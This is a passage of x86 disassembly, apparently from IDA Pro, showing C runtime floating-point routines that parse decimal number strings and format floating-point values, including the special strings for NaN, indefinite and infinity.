sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4256F4
		cmp	bl, 39h
		jle	short loc_425738


loc_4256F4:				; CODE XREF: sub_4254A2+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425770
		dec	eax
		dec	eax
		jz	short loc_425764
		sub	eax, 3
		jnz	loc_425818


loc_425709:				; CODE XREF: sub_4254A2+2A4j
		push	8
		jmp	short loc_425772
; ---------------------------------------------------------------------------


loc_42570D:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], edx ; jumptable 00425505 case 8


loc_425710:				; CODE XREF: sub_4254A2+276j
		cmp	bl, 30h
		jnz	short loc_42571A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425710
; ---------------------------------------------------------------------------


loc_42571A:				; CODE XREF: sub_4254A2+271j
		cmp	bl, 31h
		jl	loc_425815
		cmp	bl, 39h
		jg	loc_425815
		jmp	short loc_425738
; ---------------------------------------------------------------------------


loc_42572E:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 7
		jl	short loc_425741
		cmp	bl, 39h
		jg	short loc_425741


loc_425738:				; CODE XREF: sub_4254A2+250j
					; sub_4254A2+28Aj
		push	9


loc_42573A:				; CODE XREF: sub_4254A2+76j
		pop	eax


loc_42573B:				; CODE XREF: sub_4254A2+240j
		dec	edi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425741:				; CODE XREF: sub_4254A2+28Fj
					; sub_4254A2+294j
		cmp	bl, 30h
		jnz	short loc_42578A
		jmp	short loc_425709
; ---------------------------------------------------------------------------


loc_425748:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		cmp	[ebp+arg_18], 0	; jumptable 00425505 case 11
		jz	short loc_425778
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425770
		dec	eax
		dec	eax
		jnz	loc_425818


loc_425764:				; CODE XREF: sub_4254A2+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425770:				; CODE XREF: sub_4254A2+258j
					; sub_4254A2+2B8j
		push	7


loc_425772:				; CODE XREF: sub_4254A2+85j
					; sub_4254A2+103j ...
		pop	eax
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425778:				; CODE XREF: sub_4254A2+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_42577C:				; CODE XREF: sub_4254A2+5Dj
					; sub_4254A2+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425505 case 10
		jz	loc_42581A
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_42578A:				; CODE XREF: sub_4254A2+12Dj
					; sub_4254A2+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_42581A
; ---------------------------------------------------------------------------


loc_425792:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: ___:off_425943o
		mov	[ebp+var_20], 1	; jumptable 00425505 case 9
		xor	esi, esi


loc_42579B:				; CODE XREF: sub_4254A2+339j
		cmp	dword_43D084, 1
		jle	short loc_4257B3
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4257C2
; ---------------------------------------------------------------------------


loc_4257B3:				; CODE XREF: sub_4254A2+300j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4257C2:				; CODE XREF: sub_4254A2+30Fj
		test	eax, eax
		jz	short loc_4257E2
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_4257DD
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42579B
; ---------------------------------------------------------------------------


loc_4257DD:				; CODE XREF: sub_4254A2+334j
		mov	esi, 1451h


loc_4257E2:				; CODE XREF: sub_4254A2+322j
		mov	[ebp+var_1C], esi


loc_4257E5:				; CODE XREF: sub_4254A2+371j
		cmp	dword_43D084, 1
		jle	short loc_4257FD
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_42580C
; ---------------------------------------------------------------------------


loc_4257FD:				; CODE XREF: sub_4254A2+34Aj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_42580C:				; CODE XREF: sub_4254A2+359j
		test	eax, eax
		jz	short loc_425815
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4257E5
; ---------------------------------------------------------------------------


loc_425815:				; CODE XREF: sub_4254A2+99j
					; sub_4254A2+E4j ...
		dec	edi
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425818:				; CODE XREF: sub_4254A2+261j
					; sub_4254A2+2BCj
		mov	edi, ecx


loc_42581A:				; CODE XREF: sub_4254A2+2DDj
					; sub_4254A2+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425902
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425846
		cmp	[ebp+var_45], 5
		jl	short loc_42583A
		inc	[ebp+var_45]


loc_42583A:				; CODE XREF: sub_4254A2+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425849
; ---------------------------------------------------------------------------


loc_425846:				; CODE XREF: sub_4254A2+38Dj
		mov	eax, [ebp+var_C]


loc_425849:				; CODE XREF: sub_4254A2+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_4258F8


loc_425853:				; CODE XREF: sub_4254A2+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425861
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425853
; ---------------------------------------------------------------------------


loc_425861:				; CODE XREF: sub_4254A2+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_4253DB
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425880
		neg	eax


loc_425880:				; CODE XREF: sub_4254A2+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_42588B
		add	eax, [ebp+arg_10]


loc_42588B:				; CODE XREF: sub_4254A2+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425893
		sub	eax, [ebp+arg_14]


loc_425893:				; CODE XREF: sub_4254A2+3ECj
		cmp	eax, 1450h
		jle	short loc_4258CA
		mov	[ebp+var_2C], 1


loc_4258A1:				; CODE XREF: sub_4254A2+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_4258AD:				; CODE XREF: sub_4254A2+454j
					; sub_4254A2+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425913
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_4258CA:				; CODE XREF: sub_4254A2+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_4258DA
		mov	[ebp+var_30], 1
		jmp	short loc_4258A1
; ---------------------------------------------------------------------------


loc_4258DA:				; CODE XREF: sub_4254A2+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_42600E
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_4258F8:				; CODE XREF: sub_4254A2+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4258AD
; ---------------------------------------------------------------------------


loc_425902:				; CODE XREF: sub_4254A2+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425928
; ---------------------------------------------------------------------------


loc_425913:				; CODE XREF: sub_4254A2+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425928
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_425928:				; CODE XREF: sub_4254A2+426j
					; sub_4254A2+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4254A2	endp

; ---------------------------------------------------------------------------
off_425943	dd offset loc_42550C	; DATA XREF: sub_4254A2+63r
		dd offset loc_42555B	; jump table for switch	statement
		dd offset loc_4255B2
		dd offset loc_4255DC
		dd offset loc_425637
		dd offset loc_4256AE
		dd offset loc_4256E4
		dd offset loc_42572E
		dd offset loc_42570D
		dd offset loc_425792
		dd offset loc_42577C
		dd offset loc_425748

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425973	proc near		; CODE XREF: sub_424DF9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_4259D5
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_4259D9
; ---------------------------------------------------------------------------


loc_4259D5:				; CODE XREF: sub_425973+5Aj
		mov	byte ptr [ebx+2], 20h


loc_4259D9:				; CODE XREF: sub_425973+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_4259FF
		test	edi, edi
		jnz	short loc_4259FF
		cmp	[ebp+arg_0], edi
		jnz	short loc_4259FF


loc_4259EA:				; CODE XREF: sub_425973+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_425BFD
; ---------------------------------------------------------------------------


loc_4259FF:				; CODE XREF: sub_425973+6Cj
					; sub_425973+70j ...
		cmp	dx, si
		jnz	short loc_425A7E
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425A18
		cmp	[ebp+arg_0], 0
		jz	short loc_425A27


loc_425A18:				; CODE XREF: sub_425973+9Dj
		test	edi, 40000000h
		jnz	short loc_425A27
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_425A6D
; ---------------------------------------------------------------------------


loc_425A27:				; CODE XREF: sub_425973+A3j
					; sub_425973+ABj
		test	cx, cx
		jz	short loc_425A41
		cmp	edi, 0C0000000h
		jnz	short loc_425A41
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Ind	; "1#IND"
		jmp	short loc_425A50
; ---------------------------------------------------------------------------


loc_425A41:				; CODE XREF: sub_425973+B7j
					; sub_425973+BFj
		cmp	edi, eax
		jnz	short loc_425A68
		cmp	[ebp+arg_0], 0
		jnz	short loc_425A68
		push	offset a1Inf	; "1#INF"


loc_425A50:				; CODE XREF: sub_425973+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_425A5F:				; CODE XREF: sub_425973+109j
		and	[ebp+var_4], 0
		jmp	loc_425BD6
; ---------------------------------------------------------------------------


loc_425A68:				; CODE XREF: sub_425973+C5j
					; sub_425973+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_425A6D:				; CODE XREF: sub_425973+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41C890
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_425A5F
; ---------------------------------------------------------------------------


loc_425A7E:				; CODE XREF: sub_425973+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_42600E
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_425ADF
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DEE
		pop	ecx
		pop	ecx


loc_425ADF:				; CODE XREF: sub_425973+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425AF9
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_425AFC
		jmp	loc_4259EA
; ---------------------------------------------------------------------------


loc_425AF9:				; CODE XREF: sub_425973+173j
		mov	edi, [ebp+arg_C]


loc_425AFC:				; CODE XREF: sub_425973+17Fj
		cmp	edi, 15h
		jle	short loc_425B04
		push	15h
		pop	edi


loc_425B04:				; CODE XREF: sub_425973+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_425B1A:				; CODE XREF: sub_425973+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425B1A
		test	esi, esi
		jge	short loc_425B44
		neg	esi
		and	esi, 0FFh
		jle	short loc_425B44


loc_425B37:				; CODE XREF: sub_425973+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4253AE
		dec	esi
		pop	ecx
		jnz	short loc_425B37


loc_425B44:				; CODE XREF: sub_425973+1B8j
					; sub_425973+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_425BA1
		mov	[ebp+arg_C], ecx


loc_425B54:				; CODE XREF: sub_425973+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425322
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425380
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_425B54
		mov	eax, [ebp+arg_14]


loc_425BA1:				; CODE XREF: sub_425973+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_425BDE


loc_425BAE:				; CODE XREF: sub_425973+248j
		cmp	eax, ecx
		jb	short loc_425BC1
		cmp	byte ptr [eax],	39h
		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
